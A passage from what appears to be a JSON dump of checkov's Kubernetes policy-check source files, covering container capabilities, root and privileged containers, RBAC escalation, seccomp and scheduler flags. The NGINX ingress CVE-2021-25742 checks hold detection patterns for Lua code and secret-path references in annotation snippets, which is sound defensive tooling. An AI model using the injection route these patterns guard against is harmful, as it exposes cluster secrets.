    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass MinimizeCapabilities(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.5 5.2.9\n        name = \"Minimize the admission of containers with capabilities assigned\"\n        id = \"CKV_K8S_37\"\n        # Location: container .securityContext.capabilities.drop\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"securityContext/capabilities/drop\"]\n        if not isinstance(conf, dict):\n            return CheckResult.FAILED\n        if conf.get(\"securityContext\"):\n            if conf[\"securityContext\"].get(\"capabilities\"):\n                if conf[\"securityContext\"][\"capabilities\"].get(\"drop\"):\n                    for d in conf[\"securityContext\"][\"capabilities\"][\"drop\"]:\n                        if any(cap in d for cap in (\"ALL\", \"all\")):\n                            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = MinimizeCapabilities()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/MinimizeCapabilitiesPSP.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass MinimizeCapabilitiesPSP(BaseK8Check):\n    def __init__(self) -> None:\n        # CIS-1.5 5.2.9\n        name = \"Minimize the admission of containers with capabilities assigned\"\n        # Location: PodSecurityPolicy.spec.requiredDropCapabilities\n        id = \"CKV_K8S_36\"\n        supported_kind = (\"PodSecurityPolicy\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"spec\" in conf:\n            if \"requiredDropCapabilities\" in conf[\"spec\"]:\n                if conf[\"spec\"][\"requiredDropCapabilities\"]:\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = MinimizeCapabilitiesPSP()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742Alias.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\nfrom checkov.common.util.type_forcers import force_list\n\n\nclass NginxIngressCVE202125742Alias(BaseK8Check):\n    def __init__(self) -> None:\n        name = \"Prevent NGINX Ingress annotation snippets which contain alias statements See CVE-2021-25742\"\n        id = \"CKV_K8S_154\"\n        supported_kind = (\"Ingress\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        metadata = conf.get(\"metadata\")\n        if metadata:\n            annotations = metadata.get(\"annotations\")\n            if annotations:\n                for annotation in force_list(annotations):\n                    if any(\"snippet\" in key and \"alias\" in value for key, value in annotation.items()):\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = NginxIngressCVE202125742Alias()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742AllSnippets.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\nfrom checkov.common.util.type_forcers import force_list\n\n\nclass NginxIngressCVE202125742AllSnippets(BaseK8Check):\n    def __init__(self) -> None:\n        name = \"Prevent All NGINX Ingress annotation snippets. See CVE-2021-25742\"\n        id = \"CKV_K8S_153\"\n        supported_kind = (\"Ingress\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        metadata = conf.get(\"metadata\")\n        if metadata:\n            annotations = metadata.get(\"annotations\")\n            if annotations:\n                for annotation in force_list(annotations):\n                    if any(\"snippet\" in key for key in annotation):\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = NginxIngressCVE202125742AllSnippets()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742Lua.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\nfrom checkov.common.util.type_forcers import force_list\nimport re\n\nBAD_INJECTION_PATTERN = re.compile(r\"\\blua_|_lua\\b|_lua_|\\bkubernetes\\.io\\b\")\n\n\nclass NginxIngressCVE202125742Lua(BaseK8Check):\n    def __init__(self) -> None:\n        name = \"Prevent NGINX Ingress annotation snippets which contain LUA code execution. See CVE-2021-25742\"\n        id = \"CKV_K8S_152\"\n        supported_kind = (\"Ingress\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        if conf[\"metadata\"]:\n            if conf[\"metadata\"].get(\"annotations\"):\n                for annotation in force_list(conf[\"metadata\"][\"annotations\"]):\n                    for key, value in annotation.items():\n                        if \"snippet\" in key and re.search(BAD_INJECTION_PATTERN, value):\n                            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = NginxIngressCVE202125742Lua()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/PeerClientCertAuthTrue.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass PeerClientCertAuthTrue(BaseK8Check):\n    def __init__(self) -> None:\n        name = \"Ensure that the --peer-client-cert-auth argument is set to true\"\n        id = \"CKV_K8S_121\"\n        supported_kind = (\"Pod\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if conf.get(\"metadata\", {}).get(\"name\") == \"etcd\":\n            containers = conf.get(\"spec\", {}).get(\"containers\")\n            if containers:\n                for container in containers:\n                    if container.get(\"args\") is not None:\n                        if \"--peer-client-cert-auth=true\" not in container[\"args\"]:\n                            return CheckResult.FAILED\n                return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = PeerClientCertAuthTrue()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/PodSecurityContext.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass PodSecurityContext(BaseK8Check):\n    def __init__(self) -> None:\n        # CIS-1.5 5.7.3\n        name = \"Apply security context to your pods and containers\"\n        # Security context can be set at pod or container level.\n        id = \"CKV_K8S_29\"\n        # Location: Pod.spec.securityContext\n        # Location: CronJob.spec.jobTemplate.spec.template.spec.securityContext\n        # Location: *.spec.template.spec.securityContext\n        supported_kind = (\n            \"Pod\",\n            \"Deployment\",\n            \"DaemonSet\",\n            \"StatefulSet\",\n            \"ReplicaSet\",\n            \"ReplicationController\",\n            \"Job\",\n            \"CronJob\",\n        )\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        spec = {}\n\n        if conf[\"kind\"] == \"Pod\":\n            if \"spec\" in conf:\n                spec = conf[\"spec\"]\n        elif conf[\"kind\"] == \"CronJob\":\n            inner_spec = find_in_dict(input_dict=conf, key_path=\"spec/jobTemplate/spec/template/spec\")\n            spec = inner_spec if inner_spec else spec\n        else:\n            inner_spec = find_in_dict(input_dict=conf, key_path=\"spec/template/spec\")\n            spec = inner_spec if inner_spec else spec\n\n        if spec and isinstance(spec, dict):\n            if spec.get(\"securityContext\"):\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = PodSecurityContext()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass PrivilegedContainers(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.1\n        # CIS-1.5 5.2.1\n        name = \"Container should not be privileged\"\n        id = \"CKV_K8S_16\"\n        # Location: container .securityContext.privileged\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"securityContext/privileged\"]\n        if conf.get(\"securityContext\"):\n            if conf[\"securityContext\"].get(\"privileged\"):\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = PrivilegedContainers()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/PrivilegedContainersPSP.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.kubernetes.checks.resource.base_spec_omitted_or_value_check import BaseSpecOmittedOrValueCheck\n\n\nclass PrivilegedContainersPSP(BaseSpecOmittedOrValueCheck):\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.1\n        # CIS-1.5 5.2.1\n        name = \"Do not admit privileged containers\"\n        id = \"CKV_K8S_2\"\n        # Location: PodSecurityPolicy.spec.privileged\n        supported_kind = (\"PodSecurityPolicy\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def get_inspected_key(self) -> str:\n        return \"spec/privileged\"\n\n\ncheck = PrivilegedContainersPSP()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/RbacApproveCertificateSigningRequests.py",
    "content": "from checkov.kubernetes.checks.resource.base_rbac_check import BaseRbacK8sCheck, RbacOperation\n\n\nclass RbacApproveCertificateSigningRequests(BaseRbacK8sCheck):\n    def __init__(self) -> None:\n        name = \"Minimize ClusterRoles that grant permissions to approve CertificateSigningRequests\"\n        id = \"CKV_K8S_156\"\n        supported_entities = (\"ClusterRole\",)\n        super().__init__(name=name, id=id, supported_entities=supported_entities)\n\n        # See https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/\n        self.failing_operations = [\n            RbacOperation(\n                apigroups=[\"certificates.k8s.io\"],\n                verbs=[\"update\", \"patch\"],\n                resources=[\"certificatesigningrequests/approval\"]\n            ),\n            RbacOperation(\n                apigroups=[\"certificates.k8s.io\"],\n                verbs=[\"approve\"],\n                resources=[\"signers\"]\n            ),\n        ]\n\n\ncheck = RbacApproveCertificateSigningRequests()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/RbacBindRoleBindings.py",
    "content": "from checkov.kubernetes.checks.resource.base_rbac_check import BaseRbacK8sCheck, RbacOperation\n\n\nclass RbacBindRoleBindings(BaseRbacK8sCheck):\n    def __init__(self) -> None:\n        name = \"Minimize Roles and ClusterRoles that grant permissions to bind RoleBindings or ClusterRoleBindings\"\n        id = \"CKV_K8S_157\"\n        super().__init__(name=name, id=id)\n\n        self.failing_operations = [\n            RbacOperation(\n                apigroups=[\"rbac.authorization.k8s.io\"],\n                verbs=[\"bind\"],\n                resources=[\"rolebindings\", \"clusterrolebindings\"]\n            ),\n        ]\n\n\ncheck = RbacBindRoleBindings()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/RbacControlWebhooks.py",
    "content": "from checkov.kubernetes.checks.resource.base_rbac_check import BaseRbacK8sCheck, RbacOperation\n\n\nclass RbacControlWebhooks(BaseRbacK8sCheck):\n    def __init__(self) -> None:\n        name = \"Minimize ClusterRoles that grant control over validating or mutating admission webhook configurations\"\n        id = \"CKV_K8S_155\"\n        supported_entities = [\"ClusterRole\"]\n        super().__init__(name=name, id=id, supported_entities=supported_entities)\n\n        self.failing_operations = [\n            RbacOperation(\n                apigroups=[\"admissionregistration.k8s.io\"],\n                verbs=[\"create\", \"update\", \"patch\"],\n                resources=[\"mutatingwebhookconfigurations\", \"validatingwebhookconfigurations\"]\n            ),\n        ]\n\n\ncheck = RbacControlWebhooks()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/RbacEscalateRoles.py",
    "content": "from checkov.kubernetes.checks.resource.base_rbac_check import BaseRbacK8sCheck, RbacOperation\n\n\nclass RbacEscalateRoles(BaseRbacK8sCheck):\n    def __init__(self) -> None:\n        name = \"Minimize Roles and ClusterRoles that grant permissions to escalate Roles or ClusterRoles\"\n        id = \"CKV_K8S_158\"\n        super().__init__(name=name, id=id)\n\n        self.failing_operations = [\n            RbacOperation(\n                apigroups=[\"rbac.authorization.k8s.io\"],\n                verbs=[\"escalate\"],\n                resources=[\"roles\", \"clusterroles\"]\n            ),\n        ]\n\n\ncheck = RbacEscalateRoles()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ReadOnlyFilesystem(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        name = \"Use read-only filesystem for containers where possible\"\n        id = \"CKV_K8S_22\"\n        # Location: container .securityContext.readOnlyRootFilesystem\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"securityContext/readOnlyRootFilesystem\"]\n        if conf.get(\"securityContext\"):\n            if conf[\"securityContext\"].get(\"readOnlyRootFilesystem\"):\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = ReadOnlyFilesystem()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ReadinessProbe.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass ReadinessProbe(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        name = \"Readiness Probe Should be Configured\"\n        id = \"CKV_K8S_9\"\n        # Location: container .readinessProbe\n        # Don't check Job/CronJob\n        supported_entities = [\n            entity for entity in BaseK8sContainerCheck.SUPPORTED_ENTITIES if entity not in (\"CronJob\", \"Job\")\n        ]\n        # initContainers do not need Readiness Probes...\n        supported_container_types = [\"containers\"]\n        super().__init__(\n            name=name, id=id, supported_entities=supported_entities, supported_container_types=supported_container_types\n        )\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"readinessProbe\"]\n        if conf.get(\"readinessProbe\"):\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = ReadinessProbe()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/RootContainers.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_root_container_check import BaseK8sRootContainerCheck\n\n\nclass RootContainers(BaseK8sRootContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.6\n        # CIS-1.5 5.2.6\n        name = \"Minimize the admission of root containers\"\n        # Check runAsNonRoot.  If false, then ensure runAsUser > 0\n        # Location: Pod.spec.runAsUser / runAsNonRoot\n        # Location: CronJob.spec.jobTemplate.spec.template.spec.securityContext.runAsUser / runAsNonRoot\n        # Location: *.spec.template.spec.securityContext.runAsUser / runAsNonRoot\n        id = \"CKV_K8S_23\"\n        super().__init__(name=name, id=id)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        spec = self.extract_spec(conf)\n\n        # Collect results\n        if spec and isinstance(spec, dict):\n            results: dict[str, Any] = {\"pod\": {}, \"container\": []}\n            results[\"pod\"][\"runAsNonRoot\"] = self.check_runAsNonRoot(spec)\n            results[\"pod\"][\"runAsUser\"] = self.check_runAsUser(spec, 1)\n\n            containers = spec.get(\"containers\", [])\n            if not isinstance(containers, list):\n                return CheckResult.UNKNOWN\n            for c in containers:\n                cresults = {\"runAsNonRoot\": self.check_runAsNonRoot(c), \"runAsUser\": self.check_runAsUser(c, 1)}\n                results[\"container\"].append(cresults)\n\n            # Evaluate pass / fail\n            # Container values override Pod values\n            # Pod runAsNonRoot == True, plus no override at container spec   (PASSED)\n            # Pod runAsNonRoot == True, but container runAsNonRoot == False\n            #                     If runAsUser failed or absent (FAILED)\n            #                     if runAsUser passed, the check will pass (but don't want to pass one container if another fails)\n            if results[\"pod\"][\"runAsNonRoot\"] == \"PASSED\":\n                for cr in results[\"container\"]:\n                    if cr[\"runAsNonRoot\"] == \"FAILED\":\n                        if cr[\"runAsUser\"] == \"FAILED\" or cr[\"runAsUser\"] == \"ABSENT\":\n                            return CheckResult.FAILED\n                return CheckResult.PASSED\n            elif results[\"pod\"][\"runAsUser\"] == \"PASSED\":\n                # Pod runAsNonRoot == False (or absent) ; Pod runAsUser > 0 (PASSED)\n                # If container runAsUser FAILED, then overall fail as it overrides pod (FAILED)\n                for cr in results[\"container\"]:\n                    if cr[\"runAsUser\"] == \"FAILED\":\n                        return CheckResult.FAILED\n                return CheckResult.PASSED\n            else:\n                # Pod runAsNonRoot and runAsUser failed or absent\n                #   If container runAsNonRoot true (PASSED)\n                #   If container runAsNonRoot failed or absent, but runAsUser passed (PASSED)\n                #   If container runAsNonRoot failed or absent, but runAsUser failed/absent (FAILED)\n                for cr in results[\"container\"]:\n\n                    if cr[\"runAsNonRoot\"] == \"PASSED\":\n                        continue\n                    if cr[\"runAsNonRoot\"] == \"FAILED\" or cr[\"runAsNonRoot\"] == \"ABSENT\":\n                        if cr[\"runAsUser\"] == \"PASSED\":\n                            continue\n                        else:\n                            return CheckResult.FAILED\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = RootContainers()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_root_container_check import BaseK8sRootContainerCheck\n\n\nclass RootContainersHighUID(BaseK8sRootContainerCheck):\n    def __init__(self) -> None:\n        name = \"Containers should run as a high UID to avoid host conflict\"\n        # runAsUser should be >= 10000 at pod spec or container level\n        # Location: Pod.spec.runAsUser\n        # Location: CronJob.spec.jobTemplate.spec.template.spec.securityContext.runAsUser\n        # Location: *.spec.template.spec.securityContext.runAsUser\n        id = \"CKV_K8S_40\"\n        super().__init__(name=name, id=id)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        spec = self.extract_spec(conf)\n\n        # Collect results\n        if spec and isinstance(spec, dict):\n            results: dict[str, Any] = {\"pod\": {}, \"container\": []}\n            results[\"pod\"][\"runAsUser\"] = self.check_runAsUser(spec, 10000)\n\n            containers = spec.get(\"containers\", [])\n            if not isinstance(containers, list):\n                return CheckResult.UNKNOWN\n            for c in containers:\n                cresults = {\"runAsUser\": self.check_runAsUser(c, 10000)}\n                results[\"container\"].append(cresults)\n\n            # Evaluate pass / fail - Container values override Pod values\n            # Pod runAsUser >= 10000, no override at container (PASSED)\n            # Pod runAsUser >= 10000, override at container < 10000 (FAILED)\n            # Pod runAsUser < 10000, no override at container (FAILED)\n            # Pod runAsUser < 10000, override at container >= 10000 (PASSED)\n            # Pod runAsUser not set, container runAsUser not set or < 10000 (FAILED)\n            # Pod runAsUser not set, container runAsUser set >= 10000 (PASSED)\n            if results[\"pod\"][\"runAsUser\"] == \"PASSED\":\n                for cr in results[\"container\"]:\n                    if cr[\"runAsUser\"] == \"FAILED\":\n                        return CheckResult.FAILED\n                return CheckResult.PASSED\n            elif results[\"pod\"][\"runAsUser\"] == \"FAILED\":\n                containeroverride = False\n                for cr in results[\"container\"]:\n                    if cr[\"runAsUser\"] == \"FAILED\" or cr[\"runAsUser\"] == \"ABSENT\":\n                        return CheckResult.FAILED\n                    elif cr[\"runAsUser\"] == \"PASSED\":\n                        containeroverride = True\n                if containeroverride:\n                    return CheckResult.PASSED\n                return CheckResult.FAILED\n            else:\n                # Pod runAsUser ABSENT\n                containeroverride = False\n                for cr in results[\"container\"]:\n                    if cr[\"runAsUser\"] == \"FAILED\" or cr[\"runAsUser\"] == \"ABSENT\":\n                        return CheckResult.FAILED\n                    elif cr[\"runAsUser\"] == \"PASSED\":\n                        containeroverride = True\n                if containeroverride:\n                    return CheckResult.PASSED\n                return CheckResult.FAILED\n\n        return CheckResult.FAILED\n\n\ncheck = RootContainersHighUID()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/RootContainersPSP.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass RootContainersPSP(BaseK8Check):\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.6\n        # CIS-1.5 5.2.6\n        name = \"Do not admit root containers\"\n        # Location: PodSecurityPolicy.spec.runAsUser.rule\n        id = \"CKV_K8S_6\"\n        supported_kind = (\"PodSecurityPolicy\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"spec\" in conf:\n            if \"runAsUser\" in conf[\"spec\"]:\n                if \"rule\" in conf[\"spec\"][\"runAsUser\"]:\n                    inspected_value = conf[\"spec\"][\"runAsUser\"][\"rule\"]\n                    if inspected_value == \"MustRunAsNonRoot\":\n                        return CheckResult.PASSED\n                    elif inspected_value == \"MustRunAs\":\n                        if \"ranges\" in conf[\"spec\"][\"runAsUser\"]:\n                            for range in conf[\"spec\"][\"runAsUser\"][\"ranges\"]:\n                                if range[\"min\"] == 0:\n                                    return CheckResult.FAILED\n                            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = RootContainersPSP()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nCOMPONENT_TYPES = (\"kube-controller-manager\", \"kubelet\")\n\n\nclass RotateKubeletServerCertificate(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.6 4.2.12\n        id = \"CKV_K8S_112\"\n        name = \"Ensure that the RotateKubeletServerCertificate argument is set to true\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        command = conf.get(\"command\")\n        if isinstance(command, list) and any(item in command for item in COMPONENT_TYPES):\n            for idx, cmd in enumerate(command):\n                self.evaluated_container_keys = [f\"command/[{idx}]\"]\n                if cmd.startswith(\"--feature-gates\") and \"RotateKubeletServerCertificate=false\" in cmd:\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = RotateKubeletServerCertificate()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass SchedulerBindAddress(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_115\"\n        name = \"Ensure that the --bind-address argument is set to 127.0.0.1\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-scheduler\" in conf[\"command\"]:\n                for cmd in conf[\"command\"]:\n                    if \"=\" in cmd:\n                        [key, value, *_] = cmd.split(\"=\")\n                        if key == \"--bind-address\" and value == \"127.0.0.1\":\n                            return CheckResult.PASSED\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = SchedulerBindAddress()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass SchedulerProfiling(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        id = \"CKV_K8S_114\"\n        name = \"Ensure that the --profiling argument is set to false\"\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"command\"]\n        if conf.get(\"command\"):\n            if \"kube-scheduler\" in conf[\"command\"]:\n                if \"--profiling=false\" not in conf[\"command\"]:\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = SchedulerProfiling()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/Seccomp.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\nfrom checkov.common.util.type_forcers import force_list\n\n\nclass Seccomp(BaseK8Check):\n\n    def __init__(self) -> None:\n        # CIS-1.5 5.7.2\n        name = \"Ensure that the seccomp profile is set to docker/default or runtime/default\"\n        id = \"CKV_K8S_31\"\n        # Location: Pod.metadata.annotations.seccomp.security.alpha.kubernetes.io/pod\n        # Location: CronJob.spec.jobTemplate.spec.template.metadata.annotations.seccomp.security.alpha.kubernetes.io/pod\n        # Location: *.spec.template.metadata.annotations.seccomp.security.alpha.kubernetes.io/pod\n        # Location: *.spec.securityContext.seccompProfile.type\n        supported_kind = ('Pod', 'Deployment', 'DaemonSet', 'StatefulSet', 'ReplicaSet', 'ReplicationController', 'Job', 'CronJob')\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        metadata = {}\n\n        if conf['kind'] == 'Pod':\n            security_profile = find_in_dict(conf, 'spec/securityContext/seccompProfile/type')\n            if security_profile:\n                return CheckResult.PASSED if security_profile == 'RuntimeDefault' else CheckResult.FAILED\n            if \"metadata\" in conf:\n                metadata = conf[\"metadata\"]\n            if \"spec\" in conf and isinstance(conf[\"spec\"], dict):\n                containers = conf[\"spec\"].get(\"containers\")\n                if containers:\n                    containers = force_list(containers)\n                    num_containers = len(containers)\n                    passed_containers = 0\n                    for container in containers:\n                        security_profile = find_in_dict(container, \"securityContext/seccompProfile/type\")\n                        if security_profile:\n                            if security_profile == \"RuntimeDefault\":\n                                passed_containers += 1\n                            else:\n                                return CheckResult.FAILED\n                    if passed_containers == num_containers:\n                        return CheckResult.PASSED\n\n        if conf['kind'] in ['Deployment', 'StatefulSet', 'DaemonSet', 'Job', 'ReplicaSet']:\n            security_profile = find_in_dict(conf, 'spec/template/spec/securityContext/seccompProfile/type')\n            if security_profile:\n                return CheckResult.PASSED if security_profile == 'RuntimeDefault' else CheckResult.FAILED\n\n            if \"spec\" in conf and isinstance(conf[\"spec\"], dict):\n                template_spec = conf[\"spec\"].get(\"template\", {})\n                if isinstance(template_spec, dict):\n                    template_spec = template_spec.get(\"spec\", {})\n                    if isinstance(template_spec, dict):\n                        containers = template_spec.get(\"containers\")\n                        if containers:\n                            containers = force_list(containers)\n                            num_containers = len(containers)\n                            passed_containers = 0\n                            for container in containers:\n                                security_profile = find_in_dict(container, \"securityContext/seccompProfile/type\")\n                                if security_profile:\n                                    if security_profile == \"RuntimeDefault\":\n                                        passed_containers += 1\n                                    else:\n                                        return CheckResult.FAILED\n                            if passed_containers == num_containers:\n                                return CheckResult.PASSED\n\n            metadata = find_in_dict(input_dict=conf, key_path=\"spec/template/metadata\")\n            if not metadata and \"metadata\" in conf:\n                metadata = conf[\"metadata\"]\n        elif conf['kind'] == 'CronJob':\n            inner_template = find_in_dict(input_dict=conf, key_path=\"spec/jobTemplate/spec/template\")\n            if inner_template and isinstance(inner_template, dict):\n                if \"spec\" in inner_template:\n                    inner_spec = inner_template[\"spec\"]\n                    if \"metadata\" in inner_spec:\n                        metadata = inner_spec[\"metadata\"]\n                    elif \"securityContext\" in inner_spec:\n                        security_profile = inner_spec[\"securityContext\"].get(\"seccompProfile\", {}).get(\"type\")\n                        if security_profile == 'RuntimeDefault':\n                            return CheckResult.PASSED\n                if \"metadata\" in inner_template:\n                    metadata = inner_template[\"metadata\"]\n\n        else:\n            inner_metadata = find_in_dict(input_dict=conf, key_path=\"spec/template/metadata\")\n            metadata = inner_metadata if inner_metadata else metadata\n\n        if metadata:\n            if metadata.get('annotations'):\n                for annotation in force_list(metadata[\"annotations\"]):\n                    for key in annotation:\n                        if \"seccomp.security.alpha.kubernetes.io/pod\" in key:\n                            if \"docker/default\" in annotation[key] or \"runtime/default\" in annotation[key]:\n                                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = Seccomp()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/SeccompPSP.py",
